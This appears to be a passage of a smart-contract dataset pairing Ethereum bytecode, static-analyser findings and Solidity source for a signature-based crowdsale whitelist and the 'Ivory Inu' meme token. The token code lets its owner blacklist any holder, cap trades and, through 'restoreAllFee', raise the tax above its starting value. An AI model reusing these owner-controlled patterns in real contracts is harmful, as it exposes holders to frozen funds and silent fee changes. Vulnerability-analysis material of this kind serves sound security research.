260200160002081905550612bc7612bc1866116ce565b85612adc565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612ccf578082015181840152602081019050612cb4565b50505050905090810190601f168015612cfc5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b158015612d1d57600080fd5b505af1158015612d31573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083101515612d6b5780518252602082019150602081019050602083039250612d46565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b600082612e7a336116ce565b1015612e8557600080fd5b612e97612e91336116ce565b84612ac3565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612eec612ee6856116ce565b84612adc565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515612f655780518252602082019150602081019050602083039250612f40565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a36001905093925050505600a165627a7a72305820bf5f30eac00d5993cf3c17e411c33cdf89aaad9c3d9ab494ccd581d7f6d6c8310029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,472
0xf5976e79c68a038884064b7460f5892d7819e9d2
pragma solidity ^0.4.23; // File: contracts/grapevine/crowdsale/GrapevineWhitelistInterface.sol /** * @title Grapevine Whitelist extends the zeppelin Whitelist and adding off-chain signing capabilities. * @dev Grapevine Crowdsale **/ contract GrapevineWhitelistInterface { /** * @dev Function to check if an address is whitelisted or not * @param _address address The address to be checked. */ function whitelist(address _address) view external returns (bool); /** * @dev Handles the off-chain whitelisting. * @param _addr Address of the sender. * @param _sig signed message provided by the sender. */ function handleOffchainWhitelisted(address _addr, bytes _sig) external returns (bool); } // File: openzeppelin-solidity/contracts/ECRecovery.sol /** * @title Eliptic curve signature operations * * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 * */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(hash, v, r, s); } } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * @dev and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( "\x19Ethereum Signed Message:\n32", hash ); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/rbac/Roles.sol /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } // File: openzeppelin-solidity/contracts/ownership/rbac/RBAC.sol /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } // File: openzeppelin-solidity/contracts/access/SignatureBouncer.sol /** * @title SignatureBouncer * @author PhABC and Shrugs * @dev Bouncer allows users to submit a signature as a permission to do an action. * If the signature is from one of the authorized bouncer addresses, the signature * is valid. The owner of the contract adds/removes bouncers. * Bouncer addresses can be individual servers signing grants or different * users within a decentralized club that have permission to invite other members. * * This technique is useful for whitelists and airdrops; instead of putting all * valid addresses on-chain, simply sign a grant of the form * keccak256(`:contractAddress` + `:granteeAddress`) using a valid bouncer address. * Then restrict access to your crowdsale/whitelist/airdrop using the * `onlyValidSignature` modifier (or implement your own using isValidSignature). * * See the tests Bouncer.test.js for specific usage examples. */ contract SignatureBouncer is Ownable, RBAC { using ECRecovery for bytes32; string public constant ROLE_BOUNCER = "bouncer"; /** * @dev requires that a valid signature of a bouncer was provided */ modifier onlyValidSignature(bytes _sig) { require(isValidSignature(msg.sender, _sig)); _; } /** * @dev allows the owner to add additional bouncer addresses */ function addBouncer(address _bouncer) onlyOwner public { require(_bouncer != address(0)); addRole(_bouncer, ROLE_BOUNCER); } /** * @dev allows the owner to remove bouncer addresses */ function removeBouncer(address _bouncer) onlyOwner public { require(_bouncer != address(0)); removeRole(_bouncer, ROLE_BOUNCER); } /** * @dev is the signature of `this + sender` from a bouncer? * @return bool */ function isValidSignature(address _address, bytes _sig) internal view returns (bool) { return isValidDataHash( keccak256(address(this), _address), _sig ); } /** * @dev internal function to convert a hash to an eth signed message * @dev and then recover the signature and check it against the bouncer role * @return bool */ function isValidDataHash(bytes32 hash, bytes _sig) internal view returns (bool) { address signer = hash .toEthSignedMessageHash() .recover(_sig); return hasRole(signer, ROLE_BOUNCER); } } // File: contracts/grapevine/crowdsale/GrapevineWhitelist.sol /** * @title Grapevine Whitelist extends the zeppelin Whitelist and adding off-chain signing capabilities. * @dev Grapevine Crowdsale **/ contract GrapevineWhitelist is SignatureBouncer, GrapevineWhitelistInterface { event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); event UselessEvent(address addr, bytes sign, bool ret); mapping(address => bool) public whitelist; address crowdsale; constructor(address _signer) public { require(_signer != address(0)); addBouncer(_signer); } modifier onlyOwnerOrCrowdsale() { require(msg.sender == owner || msg.sender == crowdsale); _; } /** * @dev Function to check if an address is whitelisted * @param _address address The address to be checked. */ function whitelist(address _address) view external returns (bool) { return whitelist[_address]; } /** * @dev Function to set the crowdsale address * @param _crowdsale address The address of the crowdsale. */ function setCrowdsale(address _crowdsale) external onlyOwner { require(_crowdsale != address(0)); crowdsale = _crowdsale; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addAddressesToWhitelist(address[] _beneficiaries) external onlyOwnerOrCrowdsale { for (uint256 i = 0; i < _beneficiaries.length; i++) { addAddressToWhitelist(_beneficiaries[i]); } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeAddressFromWhitelist(address _beneficiary) external onlyOwnerOrCrowdsale { whitelist[_beneficiary] = false; emit WhitelistedAddressRemoved(_beneficiary); } /** * @dev Handles the off-chain whitelisting. * @param _addr Address of the sender. * @param _sig signed message provided by the sender. */ function handleOffchainWhitelisted(address _addr, bytes _sig) external onlyOwnerOrCrowdsale returns (bool) { bool valid; // no need for consuming gas when the address is already whitelisted if (whitelist[_addr]) { valid = true; } else { valid = isValidSignature(_addr, _sig); if (valid) { // no need for consuming gas again if the address calls the contract again. addAddressToWhitelist(_addr); } } return valid; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addAddressToWhitelist(address _beneficiary) public onlyOwnerOrCrowdsale { whitelist[_beneficiary] = true; emit WhitelistedAddressAdded(_beneficiary); } }
0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c81146100d45780631479290e1461013d578063217fe6c61461015e578063286dd3f5146101d9578063483a20b2146101fa57806361b6f8891461021b578063715018a6146102485780637b9417c81461025d578063888764c81461027e5780638da5cb5b1461029f5780639b19251a146102d0578063d466ab6b146102f1578063e2ec6ec31461037b578063f2fde38b1461039b575b600080fd5b3480156100e057600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261013b958335600160a060020a03169536956044949193909101919081908401838280828437509497506103bc9650505050505050565b005b34801561014957600080fd5b5061013b600160a060020a036004351661042a565b34801561016a57600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526101c5958335600160a060020a03169536956044949193909101919081908401838280828437509497506104869650505050505050565b604080519115158252519081900360200190f35b3480156101e557600080fd5b5061013b600160a060020a03600435166104f9565b34801561020657600080fd5b5061013b600160a060020a036004351661057f565b34801561022757600080fd5b506101c560048035600160a060020a031690602480359081019101356105da565b34801561025457600080fd5b5061013b610687565b34801561026957600080fd5b5061013b600160a060020a03600435166106f3565b34801561028a57600080fd5b5061013b600160a060020a036004351661077c565b3480156102ab57600080fd5b506102b46107d5565b60408051600160a060020a039092168252519081900360200190f35b3480156102dc57600080fd5b506101c5600160a060020a03600435166107e4565b3480156102fd57600080fd5b50610306610802565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610340578181015183820152602001610328565b50505050905090810190601f16801561036d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561038757600080fd5b5061013b6004803560248101910135610827565b3480156103a757600080fd5b5061013b600160a060020a0360043516610893565b610426826001836040518082805190602001908083835b602083106103f25780518252601f1990920191602091820191016103d3565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506108b3565b5050565b600054600160a060020a0316331461044157600080fd5b600160a060020a038116151561045657600080fd5b61048381604080519081016040528060078152602001600080516020610d4b8339815191528152506108c8565b50565b60006104f2836001846040518082805190602001908083835b602083106104be5780518252601f19909201916020918201910161049f565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506109e9565b9392505050565b600054600160a060020a031633148061051c5750600354600160a060020a031633145b151561052757600080fd5b600160a060020a038116600081815260026020908152604091829020805460ff19169055815192835290517ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a9281900390910190a150565b600054600160a060020a0316331461059657600080fd5b600160a060020a03811615156105ab57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080548190600160a060020a03163314806106005750600354600160a060020a031633145b151561060b57600080fd5b600160a060020a03851660009081526002602052604090205460ff16156106345750600161067f565b61066e8585858080601f01602080910402602001604051908101604052809392919081815260200183838082843750610a08945050505050565b9050801561067f5761067f856106f3565b949350505050565b600054600160a060020a0316331461069e57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a03163314806107165750600354600160a060020a031633145b151561072157600080fd5b600160a060020a038116600081815260026020908152604091829020805460ff19166001179055815192835290517fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f9281900390910190a150565b600054600160a060020a0316331461079357600080fd5b600160a060020a03811615156107a857600080fd5b61048381604080519081016040528060078152602001600080516020610d4b833981519152815250610a47565b600054600160a060020a031681565b600160a060020a031660009081526002602052604090205460ff1690565b6040805180820190915260078152600080516020610d4b833981519152602082015281565b60008054600160a060020a031633148061084b5750600354600160a060020a031633145b151561085657600080fd5b5060005b8181101561088e5761088683838381811061087157fe5b90506020020135600160a060020a03166106f3565b60010161085a565b505050565b600054600160a060020a031633146108aa57600080fd5b61048381610b28565b6108bd82826109e9565b151561042657600080fd5b610932826001836040518082805190602001908083835b602083106108fe5780518252601f1990920191602091820191016108df565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610ba5565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a82826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156109aa578181015183820152602001610992565b50505050905090810190601f1680156109d75780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b600160a060020a03166000908152602091909152604090205460ff1690565b604080516c010000000000000000000000003081028252600160a060020a03851602601482015290519081900360280190206000906104f29083610bc7565b610ab1826001836040518082805190602001908083835b60208310610a7d5780518252601f199092019160209182019101610a5e565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610c12565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982826040518083600160a060020a0316600160a060020a031681526020018060200182810382528381815181526020019150805190602001908083836000838110156109aa578181015183820152602001610992565b600160a060020a0381161515610b3d57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0316600090815260209190915260409020805460ff19169055565b600080610be383610bd786610c37565b9063ffffffff610c7516565b905061067f81604080519081016040528060078152602001600080516020610d4b833981519152815250610486565b600160a060020a0316600090815260209190915260409020805460ff19166001179055565b604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101839052905190819003603c019020919050565b60008060008084516041141515610c8f5760009350610d41565b50505060208201516040830151606084015160001a601b60ff82161015610cb457601b015b8060ff16601b14158015610ccc57508060ff16601c14155b15610cda5760009350610d41565b60408051600080825260208083018085528a905260ff8516838501526060830187905260808301869052925160019360a0808501949193601f19840193928390039091019190865af1158015610d34573d6000803e3d6000fd5b5050506020604051035193505b505050929150505600626f756e63657200000000000000000000000000000000000000000000000000a165627a7a72305820fc7b75a49812f3203cf068cd24fc54f0b073132de18f49394e949116833af57e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
10,473
0x94492298eE3b868F259586932F06a60e241F14e8
/* Ivory Inu -> $IVORY Telegram: https://t.me/ivoryinutoken /$$$$$$ /$$$$$$ |_ $$_/ |_ $$_/ | $$ /$$ /$$/$$$$$$ /$$$$$$ /$$ /$$ | $$ /$$$$$$$ /$$ /$$ | $$| $$ /$$/$$__ $$ /$$__ $$| $$ | $$ | $$ | $$__ $$| $$ | $$ | $$ \ $$/$$/ $$ \ $$| $$ \__/| $$ | $$ | $$ | $$ \ $$| $$ | $$ | $$ \ $$$/| $$ | $$| $$ | $$ | $$ | $$ | $$ | $$| $$ | $$ /$$$$$$ \ $/ | $$$$$$/| $$ | $$$$$$$ /$$$$$$| $$ | $$| $$$$$$/ |______/ \_/ \______/ |__/ \____ $$ |______/|__/ |__/ \______/ /$$ | $$ | $$$$$$/ \______/ */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract IvoryInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ivory Inu"; string private constant _symbol = "IVORY"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4500 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d5578063a9059cbb14610303578063c3c8cd8014610323578063d543dbeb14610338578063dd62ed3e1461035857600080fd5b80636fc3eaec1461026357806370a0823114610278578063715018a6146102985780638da5cb5b146102ad57600080fd5b806323b872dd116100dc57806323b872dd146101d2578063293230b8146101f2578063313ce567146102075780635932ead1146102235780636b9990531461024357600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017e57806318160ddd146101ae57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b5061013861013336600461189e565b61039e565b005b34801561014657600080fd5b5060408051808201909152600981526849766f727920496e7560b81b60208201525b60405161017591906119e2565b60405180910390f35b34801561018a57600080fd5b5061019e610199366004611873565b61044b565b6040519015158152602001610175565b3480156101ba57600080fd5b5066038d7ea4c680005b604051908152602001610175565b3480156101de57600080fd5b5061019e6101ed366004611833565b610462565b3480156101fe57600080fd5b506101386104cb565b34801561021357600080fd5b5060405160098152602001610175565b34801561022f57600080fd5b5061013861023e366004611965565b61088a565b34801561024f57600080fd5b5061013861025e3660046117c3565b6108d2565b34801561026f57600080fd5b5061013861091d565b34801561028457600080fd5b506101c46102933660046117c